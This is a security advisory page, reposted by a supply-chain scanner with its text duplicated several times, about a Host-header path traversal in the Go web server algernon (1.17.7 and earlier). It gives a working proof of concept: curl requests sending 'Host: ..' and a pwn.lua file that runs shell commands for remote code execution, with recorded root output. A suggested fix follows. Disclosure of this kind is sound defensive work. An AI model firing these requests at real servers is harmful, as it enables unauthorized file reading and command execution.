### Summary When algernon is started with `--domain` (or `--letsencrypt`, which silently turns on `--domain` at `engine/flags.go:372`), the request handler resolves the served directory by joining the configured `--dir` with the value of the client-supplied `Host` header. The join is performed by `filepath.Join` with no validation, so a `Host: ..` header walks one level above the document root. Subsequent file resolution then exposes everything in that parent directory — arbitrary file read, full directory listing, and, if any `.lua` file is present, server-side Lua execution. Algernon 1.17.7 and earlier are affected. ### Details `engine/handlers.go` (function `RegisterHandlers`, around line 510): ```go allRequests := func(w http.ResponseWriter, req *http.Request) { ... servedir := servedir if addDomain { servedir = filepath.Join(servedir, utils.GetDomain(req)) // <— line 531 } ... filename := utils.URL2filename(servedir, urlpath) ``` `utils/web.go` (`GetDomain`): ```go func GetDomain(req *http.Request) string { host, _, err := net.SplitHostPort(req.Host) if err != nil { return req.Host // <— Host header returned verbatim } return host } ``` `utils/files.go` (`URL2filename`) only sanitises the URL path — it never inspects `dirname`: ```go func URL2filename(dirname, urlpath string) string { if strings.Contains(urlpath, "..") { return dirname + Pathsep // dirname is trusted here } ... } ``` `engine/flags.go` (auto-enable in CertMagic / Let's Encrypt mode): ```go if ac.useCertMagic { ... ac.serverAddDomain = true // <— line 372 } ``` Putting it together: 1. The client sends `Host: ..`. Go's HTTP server accepts the value because `.` is in the URI host whitelist and there are no other characters to validate; `req.Host` is `..`. 2. `GetDomain` returns `..` (no port, `net.SplitHostPort` fails — fallback path). 3. `filepath.Join("/srv/algernon", "..")` cleans to `/srv`. 4. `URL2filename("/srv", "/SECRET.txt")` returns `/srv/SECRET.txt`, which the handler opens with `FilePage`. 5. For directory targets, `DirPage` lists the parent — sending `/` after `Host: ..` produces an HTML index of the parent of the docroot. 6. If a file with a recognised algernon extension (`.lua`, `.tl`, `.po2`, `.amber`, `.frm`, `.md`, ...) is in the parent, the matching renderer runs server-side. `.lua` triggers full Lua execution, including `run3(...)` which calls `exec.Command("sh", "-c", command)` (see `lua/run3/run3.go:23`). Multi-level traversal is blocked at the protocol layer because the Go HTTP parser rejects `/` in the `Host:` value, but a single `..` is enough to step outside the operator's intended docroot — and many operators put scripts, configs, certificates, log files, or sibling sites in `parent(serverDir)`. `--letsencrypt` is the supported way to run algernon as a multi-domain HTTPS server, and it implicitly turns this on without the operator noticing. This bug is distinct from the previously-fixed `handler.lua` parent-walk (GHSA-xwcr-wm99-g9jc) — that one used the *handler.lua discovery loop* and walked above `rootdir`; this one stays inside the normal `FilePage` path and rewrites `rootdir` itself through `filepath.Join(servedir, req.Host)`. It is also distinct from the upload `savein()` issue (GHSA-2j2c-pv62-mmcp). ### PoC Build the affected version: ``` git clone https://github.com/xyproto/algernon cd algernon go build -o /tmp/algernon . ``` Reproduce manually: ``` WORK=$(mktemp -d) mkdir -p $WORK/site echo '<h1>public</h1>' > $WORK/site/index.html echo 'TOP-SECRET FROM PARENT DIR' > $WORK/SECRET.txt cat > $WORK/pwn.lua <<'LUA' print("=== RCE ===") local out, err, code = run3("id; uname -a") for _,v in ipairs(out) do print(" "..v) end LUA /tmp/algernon --httponly --dir $WORK/site --addr :7799 --server -n --domain --nolimit & sleep 1 # 1. Arbitrary file read curl -H 'Host: ..' http://127.0.0.1:7799/SECRET.txt # -> TOP-SECRET FROM PARENT DIR # 2. Parent directory listing curl -H 'Host: ..' http://127.0.0.1:7799/ | grep -oP 'href="[^"]+"' | head # -> href="/SECRET.txt", href="/pwn.lua", href="/site/", ... # 3. Server-side Lua execution (RCE) curl -H 'Host: ..' http://127.0.0.1:7799/pwn.lua # -> === RCE === # uid=0(root) gid=0(root) groups=0(root) # Linux ... ``` Recorded output from a real run: ``` [2] arbitrary file read via Host: .. TOP-SECRET FROM PARENT DIR [3] directory listing of parent via Host: .. bytes=1278, links=1 sample: href="/alg.log" href="/site/" href="/SECRET.txt" [4] Lua RCE via Host: .. when .lua exists in parent === RCE === uid=0(root) gid=0(root) groups=0(root) Linux fg0x0 6.6.87.2-microsoft-standard-WSL2 ... x86_64 GNU/Linux EXIT=0 ``` Steps 2 and 3 reproduce with default flags (`--domain` alone, or `--letsencrypt` in production). Step 4 additionally requires a `.lua` file in the parent — common when an operator keeps shared scripts alongside the served directory, or when this bug is chained with any prior write primitive. ### Impact - An unauthenticated remote attacker who can send a single HTTP request with a `Host: ..` header can read arbitrary files in `parent(--dir)` and enumerate that directory. - When `--letsencrypt` is used (the recommended way to obtain HTTPS), `--domain` is enabled silently, so any production multi-tenant deployment is exposed without the operator opting in. - The chained Lua-RCE path executes shell commands as the algernon process user. In the canonical `--prod` invocation documented in `engine/config.go:208` (`serverDirOrFilename = "/srv/algernon"`), the parent is `/srv`; in multi-domain setups the parent often holds sibling site directories and shared `.lua` libraries. ### Suggested fix Reject Host header values that contain `..`, `/`, `\`, or that resolve outside the configured `serverDirOrFilename`. The simplest patch: ```go // engine/handlers.go, where addDomain is consumed if addDomain { domain := utils.GetDomain(req) if domain == "" || strings.ContainsAny(domain, "/\\") || strings.Contains(domain, "..") { w.WriteHeader(http.StatusBadRequest) return } servedir = filepath.Join(servedir, domain) } ``` A stronger fix when CertMagic is active is to constrain the lookup to the `certMagicDomains` allow-list that `flags.go` already builds.
### Summary When algernon is started with `--domain` (or `--letsencrypt`, which silently turns on `--domain` at `engine/flags.go:372`), the request handler resolves the served directory by joining the configured `--dir` with the value of the client-supplied `Host` header. The join is performed by `filepath.Join` with no validation, so a `Host: ..` header walks one level above the document root. Subsequent file resolution then exposes everything in that parent directory — arbitrary file read, full directory listing, and, if any `.lua` file is present, server-side Lua execution. Algernon 1.17.7 and earlier are affected. ### Details `engine/handlers.go` (function `RegisterHandlers`, around line 510): ```go allRequests := func(w http.ResponseWriter, req *http.Request) { ... servedir := servedir if addDomain { servedir = filepath.Join(servedir, utils.GetDomain(req)) // <— line 531 } ... filename := utils.URL2filename(servedir, urlpath) ``` `utils/web.go` (`GetDomain`): ```go func GetDomain(req *http.Request) string { host, _, err := net.SplitHostPort(req.Host) if err != nil { return req.Host // <— Host header returned verbatim } return host } ``` `utils/files.go` (`URL2filename`) only sanitises the URL path — it never inspects `dirname`: ```go func URL2filename(dirname, urlpath string) string { if strings.Contains(urlpath, "..") { return dirname + Pathsep // dirname is trusted here } ... } ``` `engine/flags.go` (auto-enable in CertMagic / Let's Encrypt mode): ```go if ac.useCertMagic { ... ac.serverAddDomain = true // <— line 372 } ``` Putting it together: 1. The client sends `Host: ..`. Go's HTTP server accepts the value because `.` is in the URI host whitelist and there are no other characters to validate; `req.Host` is `..`. 2. `GetDomain` returns `..` (no port, `net.SplitHostPort` fails — fallback path). 3. `filepath.Join("/srv/algernon", "..")` cleans to `/srv`. 4. `URL2filename("/srv", "/SECRET.txt")` returns `/srv/SECRET.txt`, which the handler opens with `FilePage`. 5. For directory targets, `DirPage` lists the parent — sending `/` after `Host: ..` produces an HTML index of the parent of the docroot. 6. If a file with a recognised algernon extension (`.lua`, `.tl`, `.po2`, `.amber`, `.frm`, `.md`, ...) is in the parent, the matching renderer runs server-side. `.lua` triggers full Lua execution, including `run3(...)` which calls `exec.Command("sh", "-c", command)` (see `lua/run3/run3.go:23`). Multi-level traversal is blocked at the protocol layer because the Go HTTP parser rejects `/` in the `Host:` value, but a single `..` is enough to step outside the operator's intended docroot — and many operators put scripts, configs, certificates, log files, or sibling sites in `parent(serverDir)`. `--letsencrypt` is the supported way to run algernon as a multi-domain HTTPS server, and it implicitly turns this on without the operator noticing. This bug is distinct from the previously-fixed `handler.lua` parent-walk (GHSA-xwcr-wm99-g9jc) — that one used the *handler.lua discovery loop* and walked above `rootdir`; this one stays inside the normal `FilePage` path and rewrites `rootdir` itself through `filepath.Join(servedir, req.Host)`. It is also distinct from the upload `savein()` issue (GHSA-2j2c-pv62-mmcp). ### PoC Build the affected version: ``` git clone https://github.com/xyproto/algernon cd algernon go build -o /tmp/algernon . ``` Reproduce manually: ``` WORK=$(mktemp -d) mkdir -p $WORK/site echo '<h1>public</h1>' > $WORK/site/index.html echo 'TOP-SECRET FROM PARENT DIR' > $WORK/SECRET.txt cat > $WORK/pwn.lua <<'LUA' print("=== RCE ===") local out, err, code = run3("id; uname -a") for _,v in ipairs(out) do print(" "..v) end LUA /tmp/algernon --httponly --dir $WORK/site --addr :7799 --server -n --domain --nolimit & sleep 1 # 1. Arbitrary file read curl -H 'Host: ..' http://127.0.0.1:7799/SECRET.txt # -> TOP-SECRET FROM PARENT DIR # 2. Parent directory listing curl -H 'Host: ..' http://127.0.0.1:7799/ | grep -oP 'href="[^"]+"' | head # -> href="/SECRET.txt", href="/pwn.lua", href="/site/", ... # 3. Server-side Lua execution (RCE) curl -H 'Host: ..' http://127.0.0.1:7799/pwn.lua # -> === RCE === # uid=0(root) gid=0(root) groups=0(root) # Linux ... ``` Recorded output from a real run: ``` [2] arbitrary file read via Host: .. TOP-SECRET FROM PARENT DIR [3] directory listing of parent via Host: .. bytes=1278, links=1 sample: href="/alg.log" href="/site/" href="/SECRET.txt" [4] Lua RCE via Host: .. when .lua exists in parent === RCE === uid=0(root) gid=0(root) groups=0(root) Linux fg0x0 6.6.87.2-microsoft-standard-WSL2 ... x86_64 GNU/Linux EXIT=0 ``` Steps 2 and 3 reproduce with default flags (`--domain` alone, or `--letsencrypt` in production). Step 4 additionally requires a `.lua` file in the parent — common when an operator keeps shared scripts alongside the served directory, or when this bug is chained with any prior write primitive. ### Impact - An unauthenticated remote attacker who can send a single HTTP request with a `Host: ..` header can read arbitrary files in `parent(--dir)` and enumerate that directory. - When `--letsencrypt` is used (the recommended way to obtain HTTPS), `--domain` is enabled silently, so any production multi-tenant deployment is exposed without the operator opting in. - The chained Lua-RCE path executes shell commands as the algernon process user. In the canonical `--prod` invocation documented in `engine/config.go:208` (`serverDirOrFilename = "/srv/algernon"`), the parent is `/srv`; in multi-domain setups the parent often holds sibling site directories and shared `.lua` libraries. ### Suggested fix Reject Host header values that contain `..`, `/`, `\`, or that resolve outside the configured `serverDirOrFilename`. The simplest patch: ```go // engine/handlers.go, where addDomain is consumed if addDomain { domain := utils.GetDomain(req) if domain == "" || strings.ContainsAny(domain, "/\\") || strings.Contains(domain, "..") { w.WriteHeader(http.StatusBadRequest) return } servedir = filepath.Join(servedir, domain) } ``` A stronger fix when CertMagic is active is to constrain the lookup to the `certMagicDomains` allow-list that `flags.go` already builds.
Update github.com/xyproto/algernon to 1.17.8 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanAlgernon: Host header path traversal in --domain mode reads files and runs Lua from parent dir affects github.com/xyproto/algernon (go). Severity is high. ### Summary When algernon is started with `--domain` (or `--letsencrypt`, which silently turns on `--domain` at `engine/flags.go:372`), the request handler resolves the served directory by joining the configured `--dir` with the value of the client-supplied `Host` header. The join is performed by `filepath.Join` with no validation, so a `Host: ..` header walks one level above the document root. Subsequent file resolution then exposes everything in that parent directory — arbitrary file read, full directory listing, and, if any `.lua` file is present, server-side Lua execution. Algernon 1.17.7 and earlier are affected. ### Details `engine/handlers.go` (function `RegisterHandlers`, around line 510): ```go allRequests := func(w http.ResponseWriter, req *http.Request) { ... servedir := servedir if addDomain { servedir = filepath.Join(servedir, utils.GetDomain(req)) // <— line 531 } ... filename := utils.URL2filename(servedir, urlpath) ``` `utils/web.go` (`GetDomain`): ```go func GetDomain(req *http.Request) string { host, _, err := net.SplitHostPort(req.Host) if err != nil { return req.Host // <— Host header returned verbatim } return host } ``` `utils/files.go` (`URL2filename`) only sanitises the URL path — it never inspects `dirname`: ```go func URL2filename(dirname, urlpath string) string { if strings.Contains(urlpath, "..") { return dirname + Pathsep // dirname is trusted here } ... } ``` `engine/flags.go` (auto-enable in CertMagic / Let's Encrypt mode): ```go if ac.useCertMagic { ... ac.serverAddDomain = true // <— line 372 } ``` Putting it together: 1. The client sends `Host: ..`. Go's HTTP server accepts the value because `.` is in the URI host whitelist and there are no other characters to validate; `req.Host` is `..`. 2. `GetDomain` returns `..` (no port, `net.SplitHostPort` fails — fallback path). 3. `filepath.Join("/srv/algernon", "..")` cleans to `/srv`. 4. `URL2filename("/srv", "/SECRET.txt")` returns `/srv/SECRET.txt`, which the handler opens with `FilePage`. 5. For directory targets, `DirPage` lists the parent — sending `/` after `Host: ..` produces an HTML index of the parent of the docroot. 6. If a file with a recognised algernon extension (`.lua`, `.tl`, `.po2`, `.amber`, `.frm`, `.md`, ...) is in the parent, the matching renderer runs server-side. `.lua` triggers full Lua execution, including `run3(...)` which calls `exec.Command("sh", "-c", command)` (see `lua/run3/run3.go:23`). Multi-level traversal is blocked at the protocol layer because the Go HTTP parser rejects `/` in the `Host:` value, but a single `..` is enough to step outside the operator's intended docroot — and many operators put scripts, configs, certificates, log files, or sibling sites in `parent(serverDir)`. `--letsencrypt` is the supported way to run algernon as a multi-domain HTTPS server, and it implicitly turns this on without the operator noticing. This bug is distinct from the previously-fixed `handler.lua` parent-walk (GHSA-xwcr-wm99-g9jc) — that one used the *handler.lua discovery loop* and walked above `rootdir`; this one stays inside the normal `FilePage` path and rewrites `rootdir` itself through `filepath.Join(servedir, req.Host)`. It is also distinct from the upload `savein()` issue (GHSA-2j2c-pv62-mmcp). ### PoC Build the affected version: ``` git clone https://github.com/xyproto/algernon cd algernon go build -o /tmp/algernon . ``` Reproduce manually: ``` WORK=$(mktemp -d) mkdir -p $WORK/site echo '<h1>public</h1>' > $WORK/site/index.html echo 'TOP-SECRET FROM PARENT DIR' > $WORK/SECRET.txt cat > $WORK/pwn.lua <<'LUA' print("=== RCE ===") local out, err, code = run3("id; uname -a") for _,v in ipairs(out) do print(" "..v) end LUA /tmp/algernon --httponly --dir $WORK/site --addr :7799 --server -n --domain --nolimit & sleep 1 # 1. Arbitrary file read curl -H 'Host: ..' http://127.0.0.1:7799/SECRET.txt # -> TOP-SECRET FROM PARENT DIR # 2. Parent directory listing curl -H 'Host: ..' http://127.0.0.1:7799/ | grep -oP 'href="[^"]+"' | head # -> href="/SECRET.txt", href="/pwn.lua", href="/site/", ... # 3. Server-side Lua execution (RCE) curl -H 'Host: ..' http://127.0.0.1:7799/pwn.lua # -> === RCE === # uid=0(root) gid=0(root) groups=0(root) # Linux ... ``` Recorded output from a real run: ``` [2] arbitrary file read via Host: .. TOP-SECRET FROM PARENT DIR [3] directory listing of parent via Host: .. bytes=1278, links=1 sample: href="/alg.log" href="/site/" href="/SECRET.txt" [4] Lua RCE via Host: .. when .lua exists in parent === RCE === uid=0(root) gid=0(root) groups=0(root) Linux fg0x0 6.6.87.2-microsoft-standard-WSL2 ... x86_64 GNU/Linux EXIT=0 ``` Steps 2 and 3 reproduce with default flags (`--domain` alone, or `--letsencrypt` in production). Step 4 additionally requires a `.lua` file in the parent — common when an operator keeps shared scripts alongside the served directory, or when this bug is chained with any prior write primitive. ### Impact - An unauthenticated remote attacker who can send a single HTTP request with a `Host: ..` header can read arbitrary files in `parent(--dir)` and enumerate that directory. - When `--letsencrypt` is used (the recommended way to obtain HTTPS), `--domain` is enabled silently, so any production multi-tenant deployment is exposed without the operator opting in. - The chained Lua-RCE path executes shell commands as the algernon process user. In the canonical `--prod` invocation documented in `engine/config.go:208` (`serverDirOrFilename = "/srv/algernon"`), the parent is `/srv`; in multi-domain setups the parent often holds sibling site directories and shared `.lua` libraries. ### Suggested fix Reject Host header values that contain `..`, `/`, `\`, or that resolve outside the configured `serverDirOrFilename`. The simplest patch: ```go // engine/handlers.go, where addDomain is consumed if addDomain { domain := utils.GetDomain(req) if domain == "" || strings.ContainsAny(domain, "/\\") || strings.Contains(domain, "..") { w.WriteHeader(http.StatusBadRequest) return } servedir = filepath.Join(servedir, domain) } ``` A stronger fix when CertMagic is active is to constrain the lookup to the `certMagicDomains` allow-list that `flags.go` already builds.
AI coding agents often install or upgrade packages automatically in go. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/xyproto/algernongo | <=1.17.7 | 1.17.8 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate github.com/xyproto/algernon to 1.17.8 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanAlgernon: Host header path traversal in --domain mode reads files and runs Lua from parent dir affects github.com/xyproto/algernon (go). Severity is high. ### Summary When algernon is started with `--domain` (or `--letsencrypt`, which silently turns on `--domain` at `engine/flags.go:372`), the request handler resolves the served directory by joining the configured `--dir` with the value of the client-supplied `Host` header. The join is performed by `filepath.Join` with no validation, so a `Host: ..` header walks one level above the document root. Subsequent file resolution then exposes everything in that parent directory — arbitrary file read, full directory listing, and, if any `.lua` file is present, server-side Lua execution. Algernon 1.17.7 and earlier are affected. ### Details `engine/handlers.go` (function `RegisterHandlers`, around line 510): ```go allRequests := func(w http.ResponseWriter, req *http.Request) { ... servedir := servedir if addDomain { servedir = filepath.Join(servedir, utils.GetDomain(req)) // <— line 531 } ... filename := utils.URL2filename(servedir, urlpath) ``` `utils/web.go` (`GetDomain`): ```go func GetDomain(req *http.Request) string { host, _, err := net.SplitHostPort(req.Host) if err != nil { return req.Host // <— Host header returned verbatim } return host } ``` `utils/files.go` (`URL2filename`) only sanitises the URL path — it never inspects `dirname`: ```go func URL2filename(dirname, urlpath string) string { if strings.Contains(urlpath, "..") { return dirname + Pathsep // dirname is trusted here } ... } ``` `engine/flags.go` (auto-enable in CertMagic / Let's Encrypt mode): ```go if ac.useCertMagic { ... ac.serverAddDomain = true // <— line 372 } ``` Putting it together: 1. The client sends `Host: ..`. Go's HTTP server accepts the value because `.` is in the URI host whitelist and there are no other characters to validate; `req.Host` is `..`. 2. `GetDomain` returns `..` (no port, `net.SplitHostPort` fails — fallback path). 3. `filepath.Join("/srv/algernon", "..")` cleans to `/srv`. 4. `URL2filename("/srv", "/SECRET.txt")` returns `/srv/SECRET.txt`, which the handler opens with `FilePage`. 5. For directory targets, `DirPage` lists the parent — sending `/` after `Host: ..` produces an HTML index of the parent of the docroot. 6. If a file with a recognised algernon extension (`.lua`, `.tl`, `.po2`, `.amber`, `.frm`, `.md`, ...) is in the parent, the matching renderer runs server-side. `.lua` triggers full Lua execution, including `run3(...)` which calls `exec.Command("sh", "-c", command)` (see `lua/run3/run3.go:23`). Multi-level traversal is blocked at the protocol layer because the Go HTTP parser rejects `/` in the `Host:` value, but a single `..` is enough to step outside the operator's intended docroot — and many operators put scripts, configs, certificates, log files, or sibling sites in `parent(serverDir)`. `--letsencrypt` is the supported way to run algernon as a multi-domain HTTPS server, and it implicitly turns this on without the operator noticing. This bug is distinct from the previously-fixed `handler.lua` parent-walk (GHSA-xwcr-wm99-g9jc) — that one used the *handler.lua discovery loop* and walked above `rootdir`; this one stays inside the normal `FilePage` path and rewrites `rootdir` itself through `filepath.Join(servedir, req.Host)`. It is also distinct from the upload `savein()` issue (GHSA-2j2c-pv62-mmcp). ### PoC Build the affected version: ``` git clone https://github.com/xyproto/algernon cd algernon go build -o /tmp/algernon . ``` Reproduce manually: ``` WORK=$(mktemp -d) mkdir -p $WORK/site echo '<h1>public</h1>' > $WORK/site/index.html echo 'TOP-SECRET FROM PARENT DIR' > $WORK/SECRET.txt cat > $WORK/pwn.lua <<'LUA' print("=== RCE ===") local out, err, code = run3("id; uname -a") for _,v in ipairs(out) do print(" "..v) end LUA /tmp/algernon --httponly --dir $WORK/site --addr :7799 --server -n --domain --nolimit & sleep 1 # 1. Arbitrary file read curl -H 'Host: ..' http://127.0.0.1:7799/SECRET.txt # -> TOP-SECRET FROM PARENT DIR # 2. Parent directory listing curl -H 'Host: ..' http://127.0.0.1:7799/ | grep -oP 'href="[^"]+"' | head # -> href="/SECRET.txt", href="/pwn.lua", href="/site/", ... # 3. Server-side Lua execution (RCE) curl -H 'Host: ..' http://127.0.0.1:7799/pwn.lua # -> === RCE === # uid=0(root) gid=0(root) groups=0(root) # Linux ... ``` Recorded output from a real run: ``` [2] arbitrary file read via Host: .. TOP-SECRET FROM PARENT DIR [3] directory listing of parent via Host: .. bytes=1278, links=1 sample: href="/alg.log" href="/site/" href="/SECRET.txt" [4] Lua RCE via Host: .. when .lua exists in parent === RCE === uid=0(root) gid=0(root) groups=0(root) Linux fg0x0 6.6.87.2-microsoft-standard-WSL2 ... x86_64 GNU/Linux EXIT=0 ``` Steps 2 and 3 reproduce with default flags (`--domain` alone, or `--letsencrypt` in production). Step 4 additionally requires a `.lua` file in the parent — common when an operator keeps shared scripts alongside the served directory, or when this bug is chained with any prior write primitive. ### Impact - An unauthenticated remote attacker who can send a single HTTP request with a `Host: ..` header can read arbitrary files in `parent(--dir)` and enumerate that directory. - When `--letsencrypt` is used (the recommended way to obtain HTTPS), `--domain` is enabled silently, so any production multi-tenant deployment is exposed without the operator opting in. - The chained Lua-RCE path executes shell commands as the algernon process user. In the canonical `--prod` invocation documented in `engine/config.go:208` (`serverDirOrFilename = "/srv/algernon"`), the parent is `/srv`; in multi-domain setups the parent often holds sibling site directories and shared `.lua` libraries. ### Suggested fix Reject Host header values that contain `..`, `/`, `\`, or that resolve outside the configured `serverDirOrFilename`. The simplest patch: ```go // engine/handlers.go, where addDomain is consumed if addDomain { domain := utils.GetDomain(req) if domain == "" || strings.ContainsAny(domain, "/\\") || strings.Contains(domain, "..") { w.WriteHeader(http.StatusBadRequest) return } servedir = filepath.Join(servedir, domain) } ``` A stronger fix when CertMagic is active is to constrain the lookup to the `certMagicDomains` allow-list that `flags.go` already builds.
AI coding agents often install or upgrade packages automatically in go. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/xyproto/algernongo | <=1.17.7 | 1.17.8 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard